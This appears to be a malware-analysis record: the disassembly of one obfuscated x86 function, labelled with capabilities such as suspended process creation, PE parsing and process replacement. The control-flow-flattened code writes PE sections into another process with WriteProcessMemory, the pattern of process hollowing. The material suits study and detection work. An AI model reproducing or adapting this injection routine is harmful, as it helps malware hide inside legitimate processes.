Function at 0x10002e00
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x11c
mov eax, dword [0x10069e00]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006b128]
mov eax, dword [0x1006b124]
mov edx, ecx
sub edx, 0xb489f5d4
sub edx, 1
add edx, 0xb489f5d4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x11e], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x11d], al
mov dword [ebp - 0x124], 0x628e199c
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x128], eax
sub eax, 0x80432b18
je 0x10005fa8
jmp 0x10002e7b
mov eax, dword [ebp - 0x128]
sub eax, 0x80e677df
je 0x1000843a
jmp 0x10002e91
mov eax, dword [ebp - 0x128]
sub eax, 0x812dbfcb
je 0x10006ccf
jmp 0x10002ea7
mov eax, dword [ebp - 0x128]
sub eax, 0x81aa3a08
je 0x100054d7
jmp 0x10002ebd
mov eax, dword [ebp - 0x128]
sub eax, 0x820f0095
je 0x10007425
jmp 0x10002ed3
mov eax, dword [ebp - 0x128]
sub eax, 0x822d7f9d
je 0x1000a646
jmp 0x10002ee9
mov eax, dword [ebp - 0x128]
sub eax, 0x8242a839
je 0x10007d57
jmp 0x10002eff
mov eax, dword [ebp - 0x128]
sub eax, 0x8259c0e4
je 0x10007a95
jmp 0x10002f15
mov eax, dword [ebp - 0x128]
sub eax, 0x82dcc5e6
je 0x10008a3d
jmp 0x10002f2b
mov eax, dword [ebp - 0x128]
sub eax, 0x831c8a70
je 0x10008097
jmp 0x10002f41
mov eax, dword [ebp - 0x128]
sub eax, 0x835a532b
je 0x1000a893
jmp 0x10002f57
mov eax, dword [ebp - 0x128]
sub eax, 0x84a61caa
je 0x10007ec6
jmp 0x10002f6d
mov eax, dword [ebp - 0x128]
sub eax, 0x858f4dce
je 0x100062c9
jmp 0x10002f83
mov eax, dword [ebp - 0x128]
sub eax, 0x85b680b8
je 0x1000a48a
jmp 0x10002f99
mov eax, dword [ebp - 0x128]
sub eax, 0x85c3f601
je 0x1000586d
jmp 0x10002faf
mov eax, dword [ebp - 0x128]
sub eax, 0x8649b261
je 0x1000664d
jmp 0x10002fc5
mov eax, dword [ebp - 0x128]
sub eax, 0x86505935
je 0x10009dba
jmp 0x10002fdb
mov eax, dword [ebp - 0x128]
sub eax, 0x86ca014d
je 0x1000622c
jmp 0x10002ff1
mov eax, dword [ebp - 0x128]
sub eax, 0x870cc5e5
je 0x100082da
jmp 0x10003007
mov eax, dword [ebp - 0x128]
sub eax, 0x87fe02db
je 0x10006840
jmp 0x1000301d
mov eax, dword [ebp - 0x128]
sub eax, 0x88702a4c
je 0x1000942b
jmp 0x10003033
mov eax, dword [ebp - 0x128]
sub eax, 0x89d77422
je 0x100053cb
jmp 0x10003049
mov eax, dword [ebp - 0x128]
sub eax, 0x8b754828
je 0x100082aa
jmp 0x1000305f
mov eax, dword [ebp - 0x128]
sub eax, 0x8d3e6595
je 0x100078d0
jmp 0x10003075
mov eax, dword [ebp - 0x128]
sub eax, 0x8d4ce240
je 0x1000a2ec
jmp 0x1000308b
mov eax, dword [ebp - 0x128]
sub eax, 0x8e8e2451
je 0x100094e6
jmp 0x100030a1
mov eax, dword [ebp - 0x128]
sub eax, 0x8f245e7e
je 0x100060cc
jmp 0x100030b7
mov eax, dword [ebp - 0x128]
sub eax, 0x9043b52a
je 0x10009b93
jmp 0x100030cd
mov eax, dword [ebp - 0x128]
sub eax, 0x912433bd
je 0x1000a4cf
jmp 0x100030e3
mov eax, dword [ebp - 0x128]
sub eax, 0x918db4aa
je 0x1000a782
jmp 0x100030f9
mov eax, dword [ebp - 0x128]
sub eax, 0x91add5e7
je 0x1000978f
jmp 0x1000310f
mov eax, dword [ebp - 0x128]
sub eax, 0x91c28eb3
je 0x10009452
jmp 0x10003125
mov eax, dword [ebp - 0x128]
sub eax, 0x91f29f87
je 0x10006b90
jmp 0x1000313b
mov eax, dword [ebp - 0x128]
sub eax, 0x936a1366
je 0x1000a532
jmp 0x10003151
mov eax, dword [ebp - 0x128]
sub eax, 0x93d4f111
je 0x10005eba
jmp 0x10003167
mov eax, dword [ebp - 0x128]
sub eax, 0x949a5a51
je 0x1000a2bc
jmp 0x1000317d
mov eax, dword [ebp - 0x128]
sub eax, 0x94a62054
je 0x10009530
jmp 0x10003193
mov eax, dword [ebp - 0x128]
sub eax, 0x951e6502
je 0x1000535a
jmp 0x100031a9
mov eax, dword [ebp - 0x128]
sub eax, 0x957bd179
je 0x1000a457
jmp 0x100031bf
mov eax, dword [ebp - 0x128]
sub eax, 0x967bdec8
je 0x100074d1
jmp 0x100031d5
mov eax, dword [ebp - 0x128]
sub eax, 0x985cfebb
je 0x10005aaa
jmp 0x100031eb
mov eax, dword [ebp - 0x128]
sub eax, 0x987a0872
je 0x10006cde
jmp 0x10003201
mov eax, dword [ebp - 0x128]
sub eax, 0x989b7244
je 0x10007021
jmp 0x10003217
mov eax, dword [ebp - 0x128]
sub eax, 0x98fb4338
je 0x100056bb
jmp 0x1000322d
mov eax, dword [ebp - 0x128]
sub eax, 0x99d3e751
je 0x1000a553
jmp 0x10003243
mov eax, dword [ebp - 0x128]
sub eax, 0x99de3837
je 0x10005c67
jmp 0x10003259
mov eax, dword [ebp - 0x128]
sub eax, 0x9a0b5469
je 0x10005e4c
jmp 0x1000326f
mov eax, dword [ebp - 0x128]
sub eax, 0x9abfc349
je 0x100075fe
jmp 0x10003285
mov eax, dword [ebp - 0x128]
sub eax, 0x9b95deec
je 0x10009b56
jmp 0x1000329b
mov eax, dword [ebp - 0x128]
sub eax, 0x9c111b13
je 0x1000553a
jmp 0x100032b1
mov eax, dword [ebp - 0x128]
sub eax, 0x9cf9727d
je 0x1000608a
jmp 0x100032c7
mov eax, dword [ebp - 0x128]
sub eax, 0x9d66895e
je 0x100074e0
jmp 0x100032dd
mov eax, dword [ebp - 0x128]
sub eax, 0x9e7e082f
je 0x10005599
jmp 0x100032f3
mov eax, dword [ebp - 0x128]
sub eax, 0x9f518e9b
je 0x1000558a
jmp 0x10003309
mov eax, dword [ebp - 0x128]
sub eax, 0x9f614534
je 0x10007476
jmp 0x1000331f
mov eax, dword [ebp - 0x128]
sub eax, 0x9fa4487f
je 0x10006efd
jmp 0x10003335
mov eax, dword [ebp - 0x128]
sub eax, 0x9ffc2676
je 0x1000a229
jmp 0x1000334b
mov eax, dword [ebp - 0x128]
sub eax, 0xa0377e56
je 0x10008c2e
jmp 0x10003361
mov eax, dword [ebp - 0x128]
sub eax, 0xa1c15eec
je 0x1000666e
jmp 0x10003377
mov eax, dword [ebp - 0x128]
sub eax, 0xa2378a0e
je 0x100081c0
jmp 0x1000338d
mov eax, dword [ebp - 0x128]
sub eax, 0xa2607da9
je 0x1000668f
jmp 0x100033a3
mov eax, dword [ebp - 0x128]
sub eax, 0xa267fca1
je 0x10005764
jmp 0x100033b9
mov eax, dword [ebp - 0x128]
sub eax, 0xa2a8899f
je 0x100088d0
jmp 0x100033cf
mov eax, dword [ebp - 0x128]
sub eax, 0xa2f590ff
je 0x10005cdd
jmp 0x100033e5
mov eax, dword [ebp - 0x128]
sub eax, 0xa305abbe
je 0x1000569e
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x10017398]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0x6c0863d6
jmp 0x1000a8b1
mov dword [ebp - 0x124], 0x3a1cac1c
jmp 0x1000a8b1
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x10017388]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0x649f14fa
jmp 0x1000a8b1
mov dl, 1
mov eax, 0x9e7e082f
mov ecx, 0x4805ac56
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a8b1
mov dword [ebp - 0x124], 0x9e7e082f
jmp 0x1000a8b1
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x10017374]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0x700b2196
jmp 0x1000a8b1
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x10017370]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x1001736c]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0xf55242bf
jmp 0x1000a8b1
mov ecx, dword [0x1006b128]
mov eax, dword [0x1006b124]
mov edx, ecx
sub edx, 0x7ffff60a
sub edx, 1
add edx, 0x7ffff60a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5a55255
mov ecx, 0x392bf2f2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a8b1
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x10017230]
movss dword [eax], xmm0
mov eax, dword [0x1006b128]
mov ecx, dword [0x1006b124]
mov edx, eax
sub edx, 0xc6641988
sub edx, 1
add edx, 0xc6641988
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe215f203
mov ecx, 0x239a276f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a8b1
mov ecx, dword [0x1006b128]
mov eax, dword [0x1006b124]
mov edx, ecx
add edx, 0x8dd72e42
sub edx, 1
sub edx, 0x8dd72e42
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x69066756
mov ecx, 0x16ca18fa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a8b1
mov ecx, dword [0x1006b128]
mov eax, dword [0x1006b124]
mov edx, ecx
sub edx, 0x626b86e6
sub edx, 1
add edx, 0x626b86e6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcf0a7631
mov ecx, 0xa2f590ff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a8b1
mov eax, dword [0x1006b128]
mov ecx, dword [0x1006b124]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcf0a7631
mov ecx, 0xee0c48a1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a8b1
mov ecx, dword [0x1006b128]
mov eax, dword [0x1006b124]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc55eba8
mov ecx, 0x93d4f111
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a8b1
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x1001721c]
movss dword [eax], xmm0
mov ecx, dword [0x1006b128]
mov eax, dword [0x1006b124]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc55eba8
mov ecx, 0x7d063773
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a8b1
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x10017348]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0x7c5bb3da
jmp 0x1000a8b1
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x10017330]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x1001732c]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0x342173b5
jmp 0x1000a8b1
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x10017328]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0xfa434df8
jmp 0x1000a8b1
mov dl, 1
mov eax, 0xda99a822
mov ecx, 0x3e539c21
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a8b1
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x10017310]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x1001730c]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0x22d8cd3a
jmp 0x1000a8b1
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x100172d0]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0xa1c15eec
jmp 0x1000a8b1
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x100172cc]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0xa2607da9
jmp 0x1000a8b1
mov dl, 1
mov eax, 0x39acd85e
mov ecx, 0xbd4d266a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a8b1
mov dword [ebp - 0x124], 0x39acd85e
jmp 0x1000a8b1
mov ecx, dword [0x1006b128]
mov eax, dword [0x1006b124]
mov edx, ecx
add edx, 0x63697983
sub edx, 1
sub edx, 0x63697983
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9ffc2676
mov ecx, 0xd984a055
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a8b1
mov dword [ebp - 0x124], 0x987a0872
jmp 0x1000a8b1
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x100172b0]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0x6fd055cb
jmp 0x1000a8b1
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x100172a8]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0xdf2ccbdd
jmp 0x1000a8b1
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x10017288]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0xd9a15f2a
jmp 0x1000a8b1
mov eax, dword [0x1006b128]
mov ecx, dword [0x1006b124]
mov edx, eax
add edx, 0xb444c129
sub edx, 1
sub edx, 0xb444c129
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7c03c84c
mov ecx, 0x9f614534
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a8b1
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x100171e4]
movss dword [eax], xmm0
mov eax, dword [0x1006b128]
mov ecx, dword [0x1006b124]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7c03c84c
mov ecx, 0x967bdec8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a8b1
mov dword [ebp - 0x124], 0x9d66895e
jmp 0x1000a8b1
mov ecx, dword [0x1006b128]
mov eax, dword [0x1006b124]
mov edx, ecx
add edx, 0x3341b7ee
sub edx, 1
sub edx, 0x3341b7ee
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa7524bf4
mov ecx, 0xb933c8ef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a8b1
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001726c]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0xdbde7a24
jmp 0x1000a8b1
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x100171d0]
movss dword [eax], xmm0
mov ecx, dword [0x1006b128]
mov eax, dword [0x1006b124]
mov edx, ecx
add edx, 0x8c45cf96
sub edx, 1
sub edx, 0x8c45cf96
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xeb7232b2
mov ecx, 0x47ef296a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a8b1
mov dl, 1
mov eax, 0x708e4bd6
mov ecx, 0xcebf29bc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a8b1
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x100171c0]
movss dword [eax], xmm0
mov ecx, dword [0x1006b128]
mov eax, dword [0x1006b124]
mov edx, ecx
sub edx, 0xb22f88b
sub edx, 1
add edx, 0xb22f88b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x54f8ecd5
mov ecx, 0x21f83387
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a8b1
mov dl, 1
mov eax, 0xfad396d1
mov ecx, 0xbef13273
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a8b1
mov dword [ebp - 0x124], 0xcdc8cc22
jmp 0x1000a8b1
mov dl, 1
mov eax, 0x26e64324
mov ecx, 0x659898c8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a8b1
mov dword [ebp - 0x124], 0x26e64324
jmp 0x1000a8b1
mov dl, 1
mov eax, 0x6b3f2af2
mov ecx, 0xdc74eb45
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a8b1
mov ecx, dword [0x1006b128]
mov eax, dword [0x1006b124]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x936a1366
mov ecx, 0xaee7c382
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a8b1
mov eax, dword [ebp - 0xa0]
movzx edx, word [eax]
mov eax, 0xcec038e4
mov ecx, 0x7e2e600
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a8b1
mov eax, dword [ebp - 0xec]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.1000bba0
add esp, 0xc
mov eax, dword [ebp - 0xe8]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.1000bba0
add esp, 0xc
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x124], 0xc269a8fb
jmp 0x1000a8b1
mov eax, dword [0x1006b128]
mov ecx, dword [0x1006b124]
mov edx, eax
sub edx, 0xf1a2fdaf
sub edx, 1
add edx, 0xf1a2fdaf
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x198779d3
mov ecx, 0xac4ee773
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a8b1
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
add eax, 0x8ae71b9
add eax, 1
sub eax, 0x8ae71b9
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x124], 0x91c28eb3
jmp 0x1000a8b1
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0x50]
mov dword [eax], ecx
mov dword [ebp - 0x124], 0xb1f89ed8
jmp 0x1000a8b1
mov dword [ebp - 0x124], 0xe551c1d9
jmp 0x1000a8b1
mov eax, dword [ebp - 0xc8]
mov ecx, dword [eax]
xor eax, eax
sub eax, 8
sub ecx, eax
mov eax, dword [ebp - 0xb8]
mov dword [eax], ecx
mov dword [ebp - 0x124], 0xe7dd99a7
jmp 0x1000a8b1
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xac]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*2]
mov dword [ebp - 0x34], eax
mov ecx, dword [0x1006b128]
mov eax, dword [0x1006b124]
mov edx, ecx
add edx, 0x19b0adbe
sub edx, 1
sub edx, 0x19b0adbe
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6de37542
mov ecx, 0xd1d2d03f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a8b1
mov dword [ebp - 0x124], 0x39dc0ee3
jmp 0x1000a8b1
mov eax, dword [0x1006b128]
mov ecx, dword [0x1006b124]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd8cffc0c
mov ecx, 0x4541a93f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a8b1
mov eax, dword [0x1006b128]
mov ecx, dword [0x1006b124]
mov edx, eax
sub edx, 0x329664d6
sub edx, 1
add edx, 0x329664d6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb61cb3bb
mov ecx, 0x58bf58de
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a8b1
mov dword [ebp - 0x124], 0x91f29f87
jmp 0x1000a8b1
mov dword [ebp - 0x124], 0xf0b6de27
jmp 0x1000a8b1
mov dword [ebp - 0x124], 0xce2080b5
jmp 0x1000a8b1
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x100171b8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x100171b4]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0xcd5bbeeb
jmp 0x1000a8b1
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100171b0]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100171ac]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100171a8]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0xe35a1ccc
jmp 0x1000a8b1
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100171a4]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0xec44b819
jmp 0x1000a8b1
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10017198]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0xaee7c382
jmp 0x1000a8b1
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10017194]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0xff9a113b
jmp 0x1000a8b1
mov eax, dword [ebp - 0xfc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc0]
imul edx, dword [edx], 0x28
add eax, edx
mov edx, dword [eax + 0x14]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xd8]
mov edx, dword [eax]
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov esi, dword [ebp - 0xc0]
imul esi, dword [esi], 0x28
add eax, esi
mov esi, dword [eax + 0xc]
xor eax, eax
sub eax, esi
sub edx, eax
mov eax, dword [ebp - 0xec]
mov esi, dword [eax]
mov eax, dword [ebp - 0x70]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0xd0]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xc0]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10002c30
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x124], 0xeb66cd4f
jmp 0x1000a8b1
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x124], 0xcd76e643
jmp 0x1000a8b1
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x124], 0x3029360f
jmp 0x10002e5f